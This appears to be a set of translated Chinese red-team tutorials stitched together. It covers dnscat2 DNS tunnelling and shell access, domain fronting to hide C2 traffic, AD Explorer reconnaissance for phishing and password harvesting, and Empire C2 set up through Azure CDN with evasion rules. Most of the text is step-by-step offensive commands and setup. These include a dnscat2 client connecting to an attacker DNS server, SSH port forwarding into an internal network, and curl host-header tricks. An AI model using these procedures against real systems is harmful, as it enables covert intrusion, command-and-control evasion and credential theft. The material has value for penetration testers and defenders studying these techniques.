服务端要在一个通用的DNS服务器上运行。它是基于ruby开发的,并且依赖于一些独特的gems。当你运行这个服务端时,跟客户端类似,你需要指定它通过53端口监听哪些域名。当它接收到其中一个域名的流量时,它就会尝试着去建立一个合法的连接。如果接收到其他流量,它也会自动忽略不管,当然,你也可以在上游进行转发。

安装

运行下面这条git命令来下载DNScat2:

git clone //github.com/iagox86/dnscat2.git

1.png

接下来安装bundler,因为它是DNScat2的一个主要依赖环境。要安装这个依赖,先进入到DNScat2的服务端目录,然后执行下面两条命令:

gem install bundler
bundle install

2.png

安装完依赖环境之后,执行下面这条命令来启动服务端:

ruby dnscat2.rb

3.png

同样地,在客户端主机上下载DNScat2,然后用make命令来编译,如下图:

4.png

要让客户端和服务端通信,执行下面这条命令即可:

./dnscat2 --dns-server=192.168.174.131,port=53

5.png

一旦连接建立起来之后,你可以在服务端看到存在一个会话,如下图。你可以用”sessions”命令来查看已经创建的会话。

6.png

要进入刚才建立的session并与其交互,执行下面这条命令:

session -i 1

现在你已经进入该session了,你可以使用”ping”命令来ping目标,如果收到回复”pong”,那么你的ping命令就执行成功了。

7.png

下图是客户端ping命令的响应:

8.png

此外,可以输入help命令来查看我们可以执行的所有命令和选项。如果你想进入shell,只要输入”shell”命令即可,它就会开启一个新的窗口,进入到目标系统的shell中。

9.png

与新的终端中打开的shell会话中进行交互,输入下面这两条命令:

windows
session -i 2

10.png

当你进入session之后,你可以执行任意的shell命令,比如”uname -a”,如上图所示。

DNS隧道技术

DNScat2最好的一种攻击方式就是DNS隧道技术。如果在你的目标系统中执行ifconfig命令,有两个网络的话,如下图所示,那么执行DNS隧道技术就非常容易了。

11.png

建立DNS隧道转发,先执行以下命令:

listen 127.0.0.1:888 10.0.0.10:22

12.png

然后你就可以通过888端口来进行SSH连接了,命令如下:

ssh [email protected] -p 888

连接成功之后,你就可以使用’ifconfig’命令来查看你刚才进行隧道转发的网络,如下图所示:

13.png

由于你已经SSH连接到了第二个网络中,你也可以在这个网络中下载DNScat2,以便进行攻击。当你在这个网络中下载好了DNScat2,输入下面这条命令来执行,然后在你的DNScat2服务端去查看会话:

dnscat2.exe --dns+server+192.168.174.131,port+53

14.png

执行成功之后,你会获得一个新的会话,你可以通过sessions来查看会话,并且输入会话id来进入某个会话:

sessions
session -i 2

进入会话之后,你就可以执行任意命令了。

15.png

而且你还能够执行systeminfo命令,这会显示第二个系统的详细信息,也就是你通过隧道技术拿到权限的系统。

16.png

总结

即使是在限制非常严格的情况下,DNS流量也应该是允许放行的。我们就可以利用DNS隧道技术在目标主机和我们的C&C服务器之间建立连接。命令和信息都包含在DNS查询和识别中,这也是很难检测的原因,即使任意命令就隐藏在非常显眼的地方,但是它们被认为是合法的流量,也检测不出来。DNScat也正是利用了这一点才成为了一个非常不错的攻击工具。

域前置技术已经出现有几年了,我一直都理解这个概念,但是从未真正理解它的工作原理。直到最近,我跟Chris Truncer一起搞了个项目,他让我们设置域名前置,作为红队测试的一部分。也就是这时,我才不得不开始去认真琢磨和理解这个技术的内部共工作原理。幸运的是,Chris是一个非常不错的老师,它讲这个技术非常透彻,当我们一步一步去分析域前置的内部原理时,这个概念其实也非常简单。

在开始解释域名前置之前,我们先来回顾一下我们是如何获取网页的。

首先是网络请求

· 用户在浏览器里输入一个包含主机名的URL

· 操作系统在对主机名进行DNS查询

· 查到IP后,在两台主机之间建立TCP连接

现在有一个网络连接,应用程序启动并发送HTTP请求。在HTTP/1.0中,web服务器只能为每个IP地址提供一个web网站,因为它无法得知请求该网站的主机名。在HTTP/1.1中,引入了“host”头的概念,这让服务器能够基于提供主机名部署多个虚拟主机,也就是“命名虚拟主机”。服务器会根据已知的虚拟主机列表来检查所请求的主机名,然后选择正确的来提供服务。如果服务器不知道所请求的主机名,则使用默认站点来提供服务。

最基本的HTTP/1.1请求如下:

GET / HTTP/1.1
Host: digi.ninja

在浏览器发起的正常请求中,URL中的主机名应该与主机头中的主机名相匹配,但是也不一定是这样,因为没有任何措施来强制执行该链接。我们可以用curl来做一个演示,下面的这个请求将会与bing.com建立网络连接,但是通过主机头,最终会请求google这个网站。因为Bing并没有一个叫做google.com的虚拟主机,因此我们会得到一个报错:

$ curl -H "Host: google.com" bing.com
<h2>Our services aren't available right now</h2><p>We're working to restore all services as soon as possible. Please check back soon.</p>06XZVXAAAAAD6lfm8665lRL+M0r8EuYmDTFRTRURHRTA1MTMARWRnZQ==

我们再来尝试通过英国Google域名来请求澳大利亚Google网站:

$ curl -H "host: www.google.com.au" www.google.co.uk
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage"><head><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title>...

这个请求成功了,因为UK Google服务器知道所有不同的虚拟主机,所以能够正确的转发请求并返回正确的内容。

现在我们已经了解了基础知识,我们来看看它是如何应用于域名前置的。

 

当我们在CDN(例如Amazon Cloudfront,Cloudflare,Microsoft Azure CDN或者是Google cloud CDN)上设置站点时,需要设置一个域名的CNAME记录来指向CDN服务器,并且有一个类似于“命令虚拟主机”需要在CDN web服务器上设置,这样它才能响应请求。该设置会提供一个“原始服务器”,会与入站的域进行配对,所以它才知道去哪里获取实际的内容并提供服务。

上面我们已经演示过,用来进行网络连接的主机名不一定要与所请求的网站相匹配,所以我们可以为部署在CDN上的一个站点使用主机名,但是在主机头中指向不同的站点。

那证书问题怎么办,使用不匹配的主机名和主机头不会出什么问题吗,不会造成证书警告或者泄露信息吗?当然不会。回到文章开头,设置的第一件事就是网络连接,这里就开始用到TLS了。一旦TCP连接成功建立,TLS就开始协商,并且全都是基于发起连接的主机名,主机头在应用层的流量中,并且在所有低层连接建立之前不会查看。我们可以继续使用Bing和Google的例子来演示,通过HTTPS来发起请求,同时使用curl来请求连接中的更多信息,如下:

$ curl -v -H "Host: google.com" https://bing.com
* Rebuilt URL to: https://bing.com/
*   Trying 13.107.21.200...
* TCP_NODELAY set
* Connected to bing.com (13.107.21.200) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/certs/ca-certificates.crt
  CApath: /etc/ssl/certs
  * TLSv1.2 (OUT), TLS handshake, Client hello (1):
  * TLSv1.2 (IN), TLS handshake, Server hello (2):
  * TLSv1.2 (IN), TLS handshake, Certificate (11):
  * TLSv1.2 (IN), TLS handshake, Server key exchange (12):
  * TLSv1.2 (IN), TLS handshake, Server finished (14):
  * TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
  * TLSv1.2 (OUT), TLS change cipher, Client hello (1):
  * TLSv1.2 (OUT), TLS handshake, Finished (20):
  * TLSv1.2 (IN), TLS handshake, Finished (20):
  * SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256
  * ALPN, server accepted to use h2
  * Server certificate:
  *  subject: CN=www.bing.com
  *  start date: Jul 20 17:47:08 2017 GMT
  *  expire date: Jul 10 17:47:08 2019 GMT
  *  subjectAltName: host "bing.com" matched cert's "bing.com"
  *  issuer: C=US; ST=Washington; L=Redmond; O=Microsoft Corporation; OU=Microsoft IT; CN=Microsoft IT TLS CA 5
  *  SSL certificate verify ok.
  * Using HTTP2, server supports multi-use
  * Connection state changed (HTTP/2 confirmed)
  * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
  * Using Stream ID: 1 (easy handle 0x559a18d7f900)
  > GET / HTTP/2
  > Host: google.com
  > User-Agent: curl/7.58.0
  > Accept: */*
  >
  * Connection state changed (MAX_CONCURRENT_STREAMS updated)!
  < HTTP/2 400
  < x-msedge-ref: 0OPdbXAAAAACPvltTXmg8T6Ynwb1og0T8TE9OMDRFREdFMDQyMABFZGdl
  < date: Thu, 07 Feb 2019 09:15:35 GMT
  <
  * Connection #0 to host bing.com left intact
  <h2>Our services aren't available right now</h2><p>We're working to restore all services as soon as possible. Please check back soon.</p>0OPdbXAAAAACPvltTXmg8T6Ynwb1og0T8TE9OMDRFREdFMDQyMABFZGdl

请求之后,会有很多的输出结果,但最重要的两行如下:

subject: CN=www.bing.com
subjectAltName: host "bing.com" matched cert's "bing.com"

这表明正在使用Bing的证书协商TLS连接,没有警告,因为证书有效,并且在HTTP请求中发送主机头之前也没有涉及到Google。

我跟Chris遇到的情况是这样的,我们使用前置技术来获取某公司基于HTTPS的CC通信,该公司使用了web过滤器来判断主机头,这个主机头是用来发起请求的。他们没有进行SSL剥离,这一点十分重要,因为这样可以让他们了解HTTP流量并且让他们也可以根据主机头来进行判断。我们选择了一家托管在Cloudfront的公司,该公司名声还不错,我们希望可以通过他们的过滤器。我们在Cloudfront上设置好我们的C2站点,将它的源指向我们的真实服务器。自定义的beacon软件使用正常的主机名来进行网络连接,在主机头中使用恶意的主机名。对于公司的过滤器来说,我们是在与一个正常的,值得信任的网站通信,但是CDN看到并响应了C2站点的请求,这些请求将所有流量直接转发到我们的服务器中。

在这个例子中,我们讲到了如何隐藏C2流量,不过这个技术也可以用来绕过审核过滤器和其他类似的情况。绕过审核的方法跟上面的例子相同,除了有一点,就是要查看的站点,前置了一个可信任站点和自定应浏览器插件,或者是本地网络代理,是否替换了主机头为正确的值。

如果你管理着一个域名并且通过CDN提供服务,你可能会想,我应该怎么做来防止我的好名声被滥用?依我看,啥也做不了。因为HTTP工作方式本身是存在漏洞的,网络连接和应用程序流量之间断开连接也是存在问题的。当你将你的站点托管在与其他站点共享的平台时,一旦建立了网络连接,所有其他站点都是可以访问的。甚至没有任何日志,你可以用来进行检查,因为当CDN见到主机头时,所有的流量就都转发到恶意的站点去了,所有的日志也同样在它的账户中。你唯一能做的是查看DNS日志并且尝试统计网站流量和请求,如果你看到有很多请求,但是却没有多少流量,那么这肯定不正常。

如果你想自己设置云端前置域名,你可以参考我的一篇文章Cloudfront域名前置–有效案例

相关文章:

Cloudfront域名前置

Cloudflare域名前置

如何利用AD Explorer进行渗透测试?

Mark Russinovich(微软Azure的CTO)的sysinternals工具集虽然没有更新或者添加新的工具,但却非常经典,多年来一直是系统管理员最喜欢的工具。但是鲜为人知的是,这个工具集对于渗透测试员也是非常有帮助的。其中我最喜欢的一款工具是AD Explorer。我的同事Dave Fletcher是一个大牛,获得了很多头衔,其中之一就是优秀的系统管理员,在一次实战中,他提醒了我这个工具,自此,我就一直使用它进行内网评估和渗透。当然,对于那些将域控暴露在互联网中的机构来说,利用这个工具进行外部测试也是非常有用的。

你只要一个域账户,能够与域控通信,并请求域控遍历整个域。它将会显示OU结构,用户账户和计算机账户。这能够对我们寻找脆弱目标提供帮助,比如查找特权用户或者是数据库服务器。

所有的sysinternals工具集都是独立的可执行软件,无需安装。所以,只要你有写权限,就可以直接运行。sysinternals下载地址:http://live.sysinternals.com。

1.jpg

但要是你没有写权限呢,或者是不允许下载可执行文件呢?不用担心,你可以直接在运行框(win+r)或者在文件夹资源管理器中输入下面这个UNC路径即可,不用下载到本地磁盘就可以直接运行。

UNC路径:\\live.sysinternals.com\tools\ADExplorer.exe

2.jpg

点击可执行文件,直接从微软的站点加载到内存中。

现在我们来看几个例子,见识一下这款工具有多厉害。首先,你可能会找到一些元数据,这些数据会给你一些关于某对象的信息,如下图,似乎我们找到了CIO的个人电脑。我虽然对你毫无了解,但是如果我看到名为‘CIO的电脑’这台主机,我就忍不住想要找一个办法登录上去,然后从内存中抓取凭证。这通常都是一个特权账户。

3.jpg

可能还有其他属性包含有用的信息,比如”info”属性。在下面的例子中,我们展示了在实战测试中的AD记录。数据已经打码,这足以说明数据是非常敏感的。我们还可以利用这些信息去进行社工(想着要重置密码)。

4.jpg

如果你想找到更有价值的目标服务器,你可以去了解企业的命名规范,会对你很有帮助。服务器通常都是根据他们的功能来命名,比如名字中的”SQL”和”SharePoint”字眼,如图:

5.jpg

AD Explorer的搜索功能也非常强大,它能够帮你分析大量的数据,并找到你想要的数据。例如,如果你想要查找禁用账户,只要选择userAccountControl(用户账户控制)属性,然后搜索514即可。(其实userAccountControl是一个值,不同的值代表着不同的标记,其中一个就是禁用标记,不过可能会有多个值都表示禁用账户,但是最常见的就是514)

6.jpg

如果你的权限够高的话,你可以添加和修改对象和属性。虽然不能像活动目录用户和计算机用户一样进行操作,但是对于渗透测试员来说,这个功能还是非常不错的。作为演示,我在我的测试域中给Grace用户添加“comment”属性。

7.jpg

8.jpg

这个工具还有一个选项,让你可以截取屏幕截图:

9.jpg

你可以将它复制到任何地方,然后在AD Explorer中打开,方便浏览查看。

10.jpg

查看截图虽然不会对你的渗透有大的帮助,但是对于前期侦察也是可以的。

AD Explorer还能对两个截图进行差异化对比。这对于渗透测试员有什么用呢?

首先,你可以在访问到域的时候捕获一张截图,然后在你进行了一些入侵和破解操作之后,系统管理员修改了密码或者是禁用了账户时,你可以再捕获一张截图,对比一下就可以看到是谁修改了密码,哪个账户被禁用了。据我所知,AD Explorer不能够修改密码,或者是把状态从禁用改为启用(即使是DA也不行),但至少,你可以利用这个工具来查看并避免账户被禁用,来保持一个更为隐蔽的状态。

现在,来看看关于外部测试……假如你用shodan来搜索暴露在互联网上的域控,并且登录到其中一台会怎么样?当然,如果你想用AD Explorer来连接到服务器的话,你需要一个域账户。下面的搜索语句是搜索LDAP两个常用的端口,和主机名中包含了字母“DC”的。令人惊讶的是,从互联网上能够直接访问的依然有一大片,如图:

11.jpg

或者再进一步搜索,我们可以添加445端口来查找域控,这些域控很有可能存在风险,容易遭受Shadow Brokers最新泄露的SMB exp攻击。(注意:并不是所有显示结果都开了这三个端口)

只要入侵了这些服务器中的一台,就相当于入侵了整个域。各单位注意,请确保你们企业的服务器不在这些列表中:

12.jpg

 

2018年5月添加的新技巧!!!

使用AD Explorer来协助钓鱼

如果要从外部电子邮件地址向特定组发送有针对性的网络钓鱼电子邮件,你可以查询AD以获取允许来自外部的邮件的通讯组。查看msExchRequireAuthToSendTo这个属性就能知道。当这个属性值为false时,那么任何人都可以向该组发送邮件。

13.jpg

你也可以双击搜索结果中的组,然后检查组的成员属性来获取成员列表。可以通过这种方式提取个人邮件地址,不过这样做就太琐碎了。发送给群组的功能要快的多,而且这会让收件人更加信任你的邮件。

从命令行进行截图

AD Explorer是一个GUI工具,但是GUI通常无法访问。不过你可以通过shell访问,并创建快照。上传可执行文件到你能够进行shell访问的主机上,然后执行下列命令:

adexplorer.exe -snapshot “” mysnap.dat

或者先不上传,执行下面这条命令:

\\live.sysinternals.com\tools\adexplorer.exe -snapshot “” snap.dat

可以看到一个弹框报错信息,显示的是adexplorer的正确语法:

14.jpg

查找特权账户

还有,如果你想查找特权账户,别忘了检查内置的Administrators组,这个组里包含的用户可能不一定就是域管理员,但可能有对域控FTW的本地管理员访问权限的账户。

15.jpg

查找密码

在大多数的AD结构中,有几个字段是普遍存在的。也就是UserPassword, UnixUserPassword,  unicodePwd and msSFU30Password这几个。在大量的测试中,我们惊奇的发现,这些字段有时候填充的竟然是真实的密码。这些密码有时候会转换为ASCII十进制值来进行混淆,不过这种混淆根本没什么鸟用,使用一条“man ascii”命令就能帮你搞定。

下面使我们最近截的一张图:

16.jpg

可以看到这两个字段密码一样,ASCII解码之后就是A B C D ! e f g h 1 2 3 4 5 $ 6 7 8 9 0。

好了,今天的分享就到这里,如果你知道使用AD Explorer的其他小技巧,请跟我们分享,我们会添加到文章中。

介绍

域前置技术曾经风靡一时。至今,红队人员和恶意运营商仍然在使用这种技术。最近读到了两篇文章,又重新激起了我对域前置的兴趣,一篇是digininja写的比较详细的博客,还有一篇是推特上的@rvrsh3ll大神写的文章

本篇文章没有什么新的研究和发现,因为网上有太多文章和资源详细讲解了如何对Empire和CobaltStrike设置域前置了。这里我想写一篇关于在MicroSoft Azure中使用Empire设置域前置的文章,因为目前我在网上好像还没有看到这方面详细的设置。我们将会从CDN开始讲起,这对于理解域前置技术是尤为关键的。

内容分发网络(CDNs)

CDNs只是一个全球服务器网络,它根据访问者的地理位置向访问者发送网站的内容。CDNs为全球企业提供了多项优势,如防御DDos攻击,防止流量激增,有利于做SEO优化,可靠而且实惠。

域前置介绍

从某个层面来说,域前置其实是CDNs的一个特征。它可以用来传输C&C流量到原本被出口过滤器阻止的目标源。攻击者控制的终端域名又只能在建立了加密HTTPS连接之后进行通信。但是攻击者可以修改host头,这个很简单,这样CDN就可以将看似可信网站流量转发到他们的C&C服务器了。

技术细节

当大型可信服务提供商使用包含公共HTTPS域和目标HTTPS域的共享SNI证书时,这种技术就应运而生了。当边缘服务器(如azureedge.net)接收到这种流量时,数据包将被转发到在数据包主机头中指定的原始服务器(如darthmalicious.azureedge.net)。然后,原始服务器将会直接转发流量到一个指定的域,这里我们将指向我们的Empire实例中。在红队wiki技术中,我们可以看到这个非常不错的案例,如下图:

1.png

真实场景使用案例

域名前置通常在审查严格的国家被政治活动家用来绕过审查制度。这通常都是通过社交媒体聊天APP完成的,比如Signal和WhatAPP。代理网络中也会用到域名前置技术,比如Tor浏览器。在信息安全领域中,恶意攻击者和白帽子们都会使用这种技术。AWS的CloudFront通常是域名前置的首选CDN,不过这里我们会使用Microsoft Azure。使用域名前置技术要谨慎,考虑周全,因为它有可能违反服务提供商的条款和条件。

设置Azure

在Azure CDN上进行设置非常简单直接。仅仅只是需要一点耐心就行。Azure关于CDN的文档非常详细完整,还有推特大佬@ch1gg1ns的一篇博客也给了我极大的帮助。我们首先进入Azure portal,然后通过创建新CDN配置文件和CDN终端来启动CDN服务。在左上角,选择“Create a resource”。

2.png

然后选择web,选择CDN。

3.png

现在进入到CDN配置文件面板,我们现在可以创建一个CDN资源,并为这个资源创建一个终端。

4.png

成功创建之后,我们会接收到下面这个通知。

5.png

下面的部分,大家就需要耐心点了。创建CDN和终端之后,我们需要等待差不多90分钟,这个终端才能在整个CDN中传播。我们需要更新终端的缓存设置,让我们的CDN不会像正常的CDN行为那样来缓存流量。这样我们就可以用它来作为通信通道。修改你的缓存行为和查询字符串缓存行为来绕过,这一步到这里就完成了。

6.png

在继续讲解之前,我们需要解释一些事情。

CDN终端名称将位于HTTP请求中的Empire主机头通信配置文件中。这个名称会指向我们的安装了Empire的C2服务器。你可以让这个请求更加合法。

源主机名是你的C2服务器的IP地址或者是DNS名称。它就会将CDN连接到你的资源,然后使域名生效。

在Azure域名中查找可前置的域名

当我们的CDN在传播时,我们找一个容易记住的域名隐藏起来,这个域名对于我们的CDN也是有效的。这里有一篇关于查找可前置的Azure域名非常不错的文章。不过,我的方法略有不同,使用的是@rvrsh3ll大佬的查找可前置域名的脚本。这里我们会使用watcocdn1.azureedge.net这个域名。

测试CDN

为了测试我们的CDN通信是否正确设置,我们将使用我们已经正在运行的Empire实例。不管是直接访问,还是通过我们刚才创建的CDN来访问,Empire实例的响应应该是一样的。当通过CDN访问时,我们需要将主机头设置为我们之前创建的CDN终端,具体操作如下:

[email protected]:~# curl -k https://[redacted].com
 
<--Snipped Output -->
<body>
<div id="container">
<a href="http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409"><img src="welcome.png" alt="IIS7" width="571" height="411" /></a>
</div>
<--Snipped Output -->
 
 
[email protected]:~# curl -k --header "Host: darthmalicious.azureedge.net" "https://watcocdn1.azureedge.net/"
 
<--Snipped Output -->
<body>
<div id="container">
<a href="http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409"><img src="welcome.png" alt="IIS7" width="571" height="411" /></a>
</div>
<--Snipped Output -->

设置Empire

这个也是比较简单的。我们设置监听主机为Azure前置域名(在这里是watcocdn1.azureedge.net),然后我们在默认配置文件中添加一个自定义头,指向我们的CDN终端名(比如darthmalicious.azureedge.net),监听器的配置如下所示:

7.png

然后可以开启监听。

8.png

接着我们启动Empire Stager,可以看到Azure的前置域被用作C2域了。

9.png

分析以下流量,我们看到主机头将流量重定向到了预期的域名中,如图:

10.png

强化Azure域前置

最近,@rvrsh3ll大佬在medium上发布了一篇关于强化Azure 域名前置的深度好文。接下来,我们将会介绍一些那篇文章中有关Azure CDN规则引擎的内容。

CDN设置

访问Azure CDN规则引擎官方文档,我们发现它仅仅是Azure premium的一个功能。我们创建CDN配置文件和终端名时,要考虑到这一点。创建完CDN终端后,可能需要几分钟到一个小时来完成配置和传播。

11.png

基本重定向规则创建

当你的CDN在运行时,打开配置文件页面,然后点击管理按钮:

12.png

然后选择”HTTP Large”,选择规则引擎,进入下面这个页面:

13.png

在这个页面上,我们可以创建符合我们所需规则的条件。我们将使用Request Header Regex(请求头正则)来讲解基于User-agent的重定向规则。如果User-agent与我们指定的User-agent不匹配,我们就将流量重定向到twitter中。

14.png

创建之后,我们会收到一个警告:”批准新规则最多需要4个小时”

15.png

如果一切顺利,我们的CDN规则会将任何不匹配的流量重定向到Twitter中,将匹配的流量重定向到我们的Empire实例中。

总结

这篇文章主要是总结我在深入学习域名前置的一些经验。本文讨论了绕过多种安全工具的一种技术,它也能跟其他的定位恶意流量的方法一起使用并发挥重要作用。在尝试防御这种技术时,应该考虑深度防御。比如应用白名单,或者强大的EDR解决方案。蓝队可能会考虑到的方法是解密所有的流量然后从中查找C2流量的迹象。

特别感谢Monsieur Numi帮我搞到一个Microsoft Azure账号,感谢所有域前置的研究人员。希望本篇文章能够鼓励更多的研究人员在他们攻击活动和行为中使用域前置技术。

参考:

https://www.xorrior.com/Empire-Domain-Fronting/

https://chigstuff.com/blog/metasploit-domain-fronting-with-microsoft-azure/

https://github.com/rvrsh3ll/FindFrontableDomains

https://medium.com/@rvrsh3ll/hardening-your-azure-domain-front-7423b5ab4f64

https://docs.microsoft.com/en-us/azure/cdn/cdn-rules-engine

https://docs.microsoft.com/en-us/azure/cdn/cdn-rules-engine-reference-match-conditions#request-header-regex

https://medium.com/@malcomvetter/simplifying-domain-fronting-8d23dcb694a0

https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki/blob/master/README.md#domain-fronting

https://holdmybeersecurity.com/2018/06/27/how-to-red-team-domain-fronting-with-powershell-empire-and-cloudfront/

https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1542139101.pdf

https://twitter.com/cyb3rops/status/1100668485770846210